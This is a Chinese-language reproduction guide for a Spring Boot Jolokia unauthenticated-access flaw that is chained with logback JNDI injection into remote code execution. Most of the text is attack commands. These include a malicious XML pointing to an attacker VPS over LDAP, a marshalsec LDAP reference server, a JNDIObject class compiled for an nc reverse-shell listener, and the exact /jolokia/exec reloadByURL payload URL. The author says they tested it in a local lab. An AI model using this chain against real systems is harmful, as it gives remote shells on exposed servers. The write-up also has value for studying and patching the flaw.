一、漏洞背景
/jolokia/list接口未授權利用
二、利用條件
jolokia接口暴露
spring使用了jolokia-core的依賴,並存在MBean
JDNI注入有版本限制 JDK< 6u201/7u191/8u182/11.0.1 (LDAP)
三、漏洞確認
/jolokia/list 接口搜索關鍵字: ch.qos.logback.classic.jmx.JMXConfigurator 和 reloadByURL
四、漏洞復現
1.開一個python臨時web
python2 -m SimpleHTTPServer 80
2.准備xml文件
xml文件內容如下
<configuration> <insertFromJNDI env-entry-name="ldap://your-vps-ip:1389/JNDIObject" as="appName" /> </configuration>
3.修改java文件,並以低版本編譯 ,443為nc監聽的端口
javac -source 1.5 -target 1.5 JNDIObject.java
4.啟動惡意注入類監聽1389 端口
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.43.183:80/##JNDIObject 1389
5.POC status200就是成功了
/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/192.168.43.239!/example.xml
6.判斷是否成功,從web服務響應看到 靶機環境加載了example.xml 並且 惡意類執行注入也加載了class說明大概率會成功返回shell。
(我這里是用win系統IDEA搭建的本地環境,腳本是針對linux的所以無法接收到shell。)
總結:RMI注入同理,JNDI注入的兩種方式都用JKD版本限制,和fastjson的反序列差不多,這個是多了一步加載xml的文件。
參考鏈接:
https://github.com/LandGrey/SpringBootVulExploit#0x04jolokia-logback-jndi-rce